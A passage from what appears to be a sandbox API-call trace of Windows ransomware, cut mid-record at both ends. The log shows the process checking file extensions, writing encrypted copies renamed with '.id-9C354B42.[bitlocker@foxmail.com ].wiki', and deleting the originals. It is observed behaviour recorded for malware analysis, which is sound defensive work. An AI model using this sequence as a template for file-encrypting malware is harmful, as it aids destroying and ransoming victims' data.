lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.622] SetEndOfFile (hFile=0x1e8) returned 1 [0060.623] CloseHandle (hObject=0x1e8) returned 1 [0060.623] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.623] SetEndOfFile (hFile=0x1f0) returned 1 [0060.623] CloseHandle (hObject=0x1f0) returned 1 [0060.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0060.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.624] lstrlenW (lpString=".doc") returned 4 [0060.624] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.624] lstrlenW (lpString=".docx") returned 5 [0060.624] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.624] lstrlenW (lpString=".pdf") returned 4 [0060.624] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.624] lstrlenW (lpString=".xls") returned 4 [0060.624] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.624] lstrlenW (lpString=".xlsx") returned 5 [0060.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.624] lstrlenW (lpString=".ppt") returned 4 [0060.624] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.624] lstrlenW (lpString=".zip") returned 4 [0060.624] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.624] lstrlenW (lpString=".rar") returned 4 [0060.624] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.624] lstrlenW (lpString=".bz2") returned 4 [0060.624] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.624] lstrlenW (lpString=".7z") returned 3 [0060.624] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.624] lstrlenW (lpString=".dbf") returned 4 [0060.625] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.625] lstrlenW (lpString=".1cd") returned 4 [0060.625] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.625] lstrlenW (lpString=".jpg") returned 4 [0060.625] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.625] lstrlenW (lpString=".doc") returned 4 [0060.625] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.625] lstrlenW (lpString=".docx") returned 5 [0060.625] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.625] lstrlenW (lpString=".pdf") returned 4 [0060.625] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.625] lstrlenW (lpString=".xls") returned 4 [0060.625] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.625] lstrlenW (lpString=".xlsx") returned 5 [0060.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.625] lstrlenW (lpString=".ppt") returned 4 [0060.625] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.625] lstrlenW (lpString=".zip") returned 4 [0060.625] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.625] lstrlenW (lpString=".rar") returned 4 [0060.625] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.625] lstrlenW (lpString=".bz2") returned 4 [0060.625] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.625] lstrlenW (lpString=".7z") returned 3 [0060.625] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.625] lstrlenW (lpString=".dbf") returned 4 [0060.625] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.625] lstrlenW (lpString=".1cd") returned 4 [0060.626] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0060.626] lstrlenW (lpString=".jpg") returned 4 [0060.626] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.626] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.626] lstrlenW (lpString="AG00130_.GIF") returned 12 [0060.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.626] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5253) returned 1 [0060.626] CloseHandle (hObject=0x1f0) returned 1 [0060.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0060.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.626] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.626] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.627] GetLastError () returned 0x0 [0060.627] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x1485, lpOverlapped=0x0) returned 1 [0060.637] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0060.637] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.638] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.638] SetEndOfFile (hFile=0x1e8) returned 1 [0060.640] CloseHandle (hObject=0x1e8) returned 1 [0060.640] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.640] SetEndOfFile (hFile=0x1f0) returned 1 [0060.655] CloseHandle (hObject=0x1f0) returned 1 [0060.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0060.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.670] lstrlenW (lpString=".doc") returned 4 [0060.670] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.670] lstrlenW (lpString=".docx") returned 5 [0060.670] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.670] lstrlenW (lpString=".pdf") returned 4 [0060.670] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.670] lstrlenW (lpString=".xls") returned 4 [0060.677] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.677] lstrlenW (lpString=".xlsx") returned 5 [0060.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.677] lstrlenW (lpString=".ppt") returned 4 [0060.677] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.677] lstrlenW (lpString=".zip") returned 4 [0060.677] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.677] lstrlenW (lpString=".rar") returned 4 [0060.677] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.677] lstrlenW (lpString=".bz2") returned 4 [0060.677] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.677] lstrlenW (lpString=".7z") returned 3 [0060.677] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.677] lstrlenW (lpString=".dbf") returned 4 [0060.677] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.677] lstrlenW (lpString=".1cd") returned 4 [0060.677] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.677] lstrlenW (lpString=".jpg") returned 4 [0060.677] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.677] lstrlenW (lpString=".doc") returned 4 [0060.677] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.677] lstrlenW (lpString=".docx") returned 5 [0060.677] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.677] lstrlenW (lpString=".pdf") returned 4 [0060.677] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.677] lstrlenW (lpString=".xls") returned 4 [0060.677] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.678] lstrlenW (lpString=".xlsx") returned 5 [0060.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.678] lstrlenW (lpString=".ppt") returned 4 [0060.678] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.678] lstrlenW (lpString=".zip") returned 4 [0060.678] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.678] lstrlenW (lpString=".rar") returned 4 [0060.678] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.678] lstrlenW (lpString=".bz2") returned 4 [0060.678] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.678] lstrlenW (lpString=".7z") returned 3 [0060.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.678] lstrlenW (lpString=".dbf") returned 4 [0060.678] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.678] lstrlenW (lpString=".1cd") returned 4 [0060.678] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0060.678] lstrlenW (lpString=".jpg") returned 4 [0060.678] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.678] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.678] lstrlenW (lpString="AG00160_.GIF") returned 12 [0060.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.678] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1146) returned 1 [0060.679] CloseHandle (hObject=0x1f0) returned 1 [0060.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0060.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.679] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.679] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.679] GetLastError () returned 0x0 [0060.679] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x47a, lpOverlapped=0x0) returned 1 [0060.689] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x480, lpOverlapped=0x0) returned 1 [0060.690] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.690] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.690] SetEndOfFile (hFile=0x1e8) returned 1 [0060.690] CloseHandle (hObject=0x1e8) returned 1 [0060.690] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.690] SetEndOfFile (hFile=0x1f0) returned 1 [0060.691] CloseHandle (hObject=0x1f0) returned 1 [0060.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0060.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.691] lstrlenW (lpString=".doc") returned 4 [0060.691] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.691] lstrlenW (lpString=".docx") returned 5 [0060.691] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.691] lstrlenW (lpString=".pdf") returned 4 [0060.691] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.691] lstrlenW (lpString=".xls") returned 4 [0060.692] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.692] lstrlenW (lpString=".xlsx") returned 5 [0060.692] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.692] lstrlenW (lpString=".ppt") returned 4 [0060.692] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.692] lstrlenW (lpString=".zip") returned 4 [0060.692] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.692] lstrlenW (lpString=".rar") returned 4 [0060.692] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.692] lstrlenW (lpString=".bz2") returned 4 [0060.692] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.692] lstrlenW (lpString=".7z") returned 3 [0060.692] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.692] lstrlenW (lpString=".dbf") returned 4 [0060.692] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.692] lstrlenW (lpString=".1cd") returned 4 [0060.692] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.692] lstrlenW (lpString=".jpg") returned 4 [0060.692] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.692] lstrlenW (lpString=".doc") returned 4 [0060.692] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.692] lstrlenW (lpString=".docx") returned 5 [0060.692] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.692] lstrlenW (lpString=".pdf") returned 4 [0060.692] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.692] lstrlenW (lpString=".xls") returned 4 [0060.692] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.692] lstrlenW (lpString=".xlsx") returned 5 [0060.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.693] lstrlenW (lpString=".ppt") returned 4 [0060.693] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.693] lstrlenW (lpString=".zip") returned 4 [0060.693] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.693] lstrlenW (lpString=".rar") returned 4 [0060.693] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.693] lstrlenW (lpString=".bz2") returned 4 [0060.693] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.693] lstrlenW (lpString=".7z") returned 3 [0060.693] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.693] lstrlenW (lpString=".dbf") returned 4 [0060.693] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.693] lstrlenW (lpString=".1cd") returned 4 [0060.693] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0060.693] lstrlenW (lpString=".jpg") returned 4 [0060.693] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.693] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.693] lstrlenW (lpString="AG00163_.GIF") returned 12 [0060.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.701] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6984) returned 1 [0060.701] CloseHandle (hObject=0x1f0) returned 1 [0060.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0060.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.709] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.709] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.710] GetLastError () returned 0x0 [0060.710] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0060.718] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0060.719] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.719] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.719] SetEndOfFile (hFile=0x1e8) returned 1 [0060.719] CloseHandle (hObject=0x1e8) returned 1 [0060.719] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.719] SetEndOfFile (hFile=0x1f0) returned 1 [0060.720] CloseHandle (hObject=0x1f0) returned 1 [0060.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.720] DeleteFileW 